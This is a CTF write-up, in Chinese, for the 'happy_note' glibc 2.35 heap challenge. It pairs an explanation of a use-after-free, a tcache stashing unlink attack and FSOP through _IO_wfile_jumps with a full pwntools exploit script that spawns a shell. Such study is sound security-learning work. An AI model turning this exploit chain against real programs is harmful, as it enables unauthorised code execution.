uaf
[TOC] UAF不仅可以泄露,还能让两个指针指向同一个chunk
题目分析
巅峰极客2022 happy_note libc2.35
- add大小要<=0x200,add时无read。然后add有两种模式,第一种模式是calloc,第二种模式是malloc,但是只能malloc两次
- delete函数没有uaf,magic函数也是free但是不会清除chunklist中的内容,只能一次
- edit函数和show函数没什么特别的
思路分析
- 显然是要打IO链,于是想到要泄露heapbase与libcbase
- 因为不能申请largebin chunk,因此泄露heapbase只能用tcache来泄露。但是要记住calloc申请时会清空数据,因此泄露不能用calloc,就只能用次数极少的malloc。这里可以free后再次malloc申请就可以了
- 然后是要泄露libcbase,这里的想法是把一个放入unsorted bin中,但这就要先填满tcache才行,显然最后是要用tcache来任意地址申请,所以最后剩的一次malloc时不能用的,这里最后用的magic的uaf来泄露,同时这个uaf也会造出两个指针指向同一个chunk,这也是uaf威力巨大之处
- 如果有三次malloc机会,那么直接打tcache poison就好了,但是泄露完heapbase后只有一次,那么意味着申请这个任意地址时,这个任意地址应当在tcache的最头部,于是想到tcache stashing unlink attack来进行任意地址申请
exp
这里记录一下tcache stashing unlink attack的一些细节
- 在上述流程中,直接将chunk_A的bk改为target_addr - 0x10(这是因为返回给用户的是mem区域),并且保证target_addr - 0x10的bk的fd为一个可写地址(即*(target+0x8)是一个可写地址)在上述流程中,使tcache有5个堆块,smallbin有2个堆块
- 使tcache有5个堆块,smallbin有2个堆块时,smallbin的堆块一般都是通过unsorted bin切割得到
- 不申请_IO_list_all就是因为*(_IO_list_all+0x8)不是一个可写地址
from pwn import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import p64
context(os='linux', arch='amd64', log_level='debug')
p = process("/home/zp9080/PWN/happy_note")
elf = ELF("/home/zp9080/PWN/happy_note")
libc=elf.libc
def dbg():
gdb.attach(p,'b *$rebase(0x16F6)')
pause()
def add(size,idx,mode):
p.sendlineafter(">> ",str(1))
p.sendlineafter("Note size:",str(size))
p.sendlineafter("Choose a note:",str(idx))
p.sendlineafter("Choose a mode: [1] or [2]",str(mode))
def delete(idx):
p.sendlineafter(">> ",str(2))
p.sendlineafter("Choose a note:",str(idx))
def show(idx):
p.sendlineafter(">> ",str(3))
p.sendlineafter("Which one do you want to show?",str(idx))
def edit(idx,content):
p.sendlineafter(">> ",str(4))
p.sendlineafter("Choose a note:",str(idx))
p.sendafter("Edit your content:",content)
def magic(idx):
p.sendlineafter(">> ",str(666))
p.sendlineafter("Choose a note:",str(idx))
#这个size可以越界写
#利用tcache泄露heapbase
add(0x60,0,1)
delete(0)
add(0x60,0,2)
show(0)
p.recvuntil("content: ")
heapbase=u64(p.recv(5).ljust(8,b'\x00'))<<12
print(hex(heapbase))
delete(0)
for i in range(5):
add(0xf0,i,1)
for i in range(5):
delete(i)
#先放入一个0x150的chunk进入smallbin
for i in range(1,8):
add(0x200,i,1) #1-7
add(0x200,9,1)
add(0x20,11,1)
for i in range(1,8):
delete(i)
#9 0x210 unsorted bin
delete(9)
add(0x100,10,1)
add(0x200,0,1)
delete(10)
delete(0)
delete(11)
#---------------------切割unsored bin,然后让剩下的0xa0的chunk就进入smallbin了----------------------
#现在所有的下标都可用 0x170,0x60的tcache各有一个chunk,0x150 smallbin有一个chunk
#泄露libcbase
add(0x200,0,1)
#这个chunk大小要大于0x100,目的是为了防止与top chunk合并
add(0x160,11,1)
magic(0)
show(0)
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x21ace0
print(hex(libcbase))
IO_2_1_stderr=libcbase+libc.sym['_IO_2_1_stderr_']
#--------------------------0和1指向的chunk很接近---------------------
add(0x100,1,1)
add(0x200,2,1)
edit(0,b'a'*0x100+p64(0)+p64(0x101)+p64(heapbase+0x1780)+p64(IO_2_1_stderr-0x10))
#触发tcache stashing unlink attack
add(0xf0,3,1)
add(0xf0,4,2)
rdi=libcbase+0x000000000002a3e5
rsi=libcbase+0x000000000002be51
rdxr12=libcbase+0x11f2e7
ret=libcbase+0x0000000000029cd6
system_addr=libcbase+libc.sym['system']
payload= b' sh;\x00\x00\x00'+p64(0)
payload += p64(0) + p64(system_addr) + p64(1) + p64(2) #这样设置同时满足fsop
payload = payload.ljust(0x48, b'\x00') + p64(heapbase) #FAKE FILE+0x48
payload = payload.ljust(0xa0, b'\x00') + p64(heapbase+0x1e40+0x10) #_wide_data
payload = payload.ljust(0xd8, b'\x00') + p64(libcbase + libc.sym['_IO_wfile_jumps']) #vtable=_IO_wfile_jumps
edit(4,payload)
wide_data=b'\x00'
wide_data=wide_data.ljust(0x68,b'\x00')
wide_data+=p64(system_addr)
wide_data=wide_data.ljust(0xe0,b'\x00')
wide_data+=p64(heapbase+0x1e40+0x10)
add(0x150,5,1)
edit(5,wide_data)
# dbg()
delete(10)
p.interactive()
错误记录
这里任意地址申请的时候犯了一些错误
- 之前困惑为什么不直接用fastbin poison,结果发现fastbin取chunk时会检查chunk的大小是什么范围,导致不能任意地址申请,怪不得要打fastbin reverse into tcache。但这个题malloc次数太少不适合打fastbin reverse into tcache
size_t victim_idx = fastbin_index (chunksize (victim));
if (__builtin_expect (victim_idx != idx, 0))
malloc_printerr ("malloc(): memory corruption (fast)");
- 然后是smallbin取最后一个chunk是通过define last(b) ((b)->bk); last (bin)这个宏取的,因此修改smallbin的chunk->fd是不能任意地址申请的
后记
后来看别的师傅的exp又有新的理解
- 泄露libcbase还是通过unsorted bin,但是泄露heapbase可以用其他的方式
- 之前一直觉得泄露heapbase都是通过tcache来泄露,但是unsorted bin其实也可以泄露,只要让unsorted bin chunk的fd指针指向一个堆块就可以泄露heapbase了